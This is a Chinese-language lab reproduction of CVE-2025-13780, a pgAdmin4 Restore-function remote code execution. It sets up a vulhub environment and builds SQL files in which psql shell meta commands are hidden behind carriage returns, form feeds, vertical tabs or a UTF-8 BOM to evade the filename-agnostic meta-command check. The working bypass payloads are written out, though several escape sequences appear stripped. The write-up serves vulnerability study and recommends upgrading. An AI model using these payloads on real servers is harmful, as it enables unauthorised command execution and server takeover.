pgAdmin4后台Restore RCE漏洞复现(CVE-2025-13780)

时间：2026-08-06 17:40

pgAdmin49 11之前版本的Restore功能存在RCE漏洞（CVE-2025-13780）。攻击者利用控制字符绕过安全检查，在SQL文件中嵌入psql元命令，执行系统命令。复现使用多种控制字符（如 r、换页符、垂直制表符、UTF-8BOM）均能绕过检测。建议升级至9 11及以上版本。

简介

pgAdmin 是 PostgreSQL 生态里相当流行的一款数据库管理和开发平台，功能丰富，很多 DBA 和开发者都习惯通过它的 Web 界面来管理数据库。不过最近爆出一个漏洞，值得关注。

漏洞编号 CVE-2025-13780，影响 pgAdmin4 9.11 之前的版本。问题的根源出在 restore 功能上——它会调用 psql 命令行程序去执行用户上传的纯文本格式 SQL 文件。攻击者可以利用特殊字符绕过 pgAdmin4 对文件内容的安全检查，在 SQL 文件里嵌入 meta command（比如 !），从而让 psql 执行系统命令。简单说，就是上传一个看似正常的 SQL 文件，实际上能直接拿下服务器。

搭建

本次复现使用 pgAdmin4 9.10。

# 进入 vulhub 对应目录
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d

登录凭据：vulhub@example.com:vulhub

访问地址：https://your-ip:port

数据库连接信息：vulhub:vulhub

复现

构造恶意文件

先准备几个测试用的 SQL 文件。核心思路是在正常 SQL 语句后插入换行或控制字符，再跟上 psql 的 meta command。

test.sql：

echo -ne "SELECT 1;n\! bash -c 'touch /tmp/hacked2'n" > test.sql

test2.sql：

echo -ne "SELECT 1;rn\! bash -c 'touch /tmp/hacked2'n" > test2.sql

payload.sql：

echo -ne "SELECT 1;r\! bash -c 'touch /tmp/hacked2'r" > payload.sql

开始恢复操作

上传 SQL 文件

在弹出的恢复窗口中，先选择文件上传。点击 “Upload” 按钮。

继续点击 “Upload”。

单击页面中间区域，在文件选择对话框里选好之前生成的 payload.sql。

上传完成后，点击右上角的 “x” 返回文件列表。

在列表里选刚才上传的那个文件。

执行恢复

关键一步：在 Restore 窗口里，把格式切换为 Plain，然后点击执行。

执行后可以看到返回结果。

如果成功，到容器里检查 /tmp/hacked2 文件是否存在就知道命令是否被执行了。

其他绕过方式

如果选择 test.sql 或 test2.sql，可能会看到这样的提示：

“恢复被阻止：所选纯SQL文件包含psql元命令（例如!或i）。出于安全考虑，pgAdmin不会执行纯恢复中的元命令。请移除元命令。”

这个安全检测由 has_meta_commands() 函数完成。原来的代码里，它用正则 br'(^|n)[ t]*\' 去匹配，只把 n 当作行起始，而且会将反斜杠前的空格和制表符视为可忽略字符。最关键的是，它是在 二进制模式 下扫描文件的。

所以，除了用 r 绕过，还有很多其他控制字符可以用，比如垂直制表符、换页符，甚至 UTF-8 BOM 头。以下是几种构造方式：

# 换页符
echo -ne "SELECT 1;x0c\! ls>/tmp/ls" > payload_ff.sql

# 垂直制表符
echo -ne "SELECT 1;x0b\! id>/tmp/id" > payload_vt.sql

# UTF-8 BOM 绕过
echo -ne "xefxbbxbf\! echo utf_bom>/tmp/bom" > payload_bom.sql

用这些文件尝试恢复，同样可以绕过检测。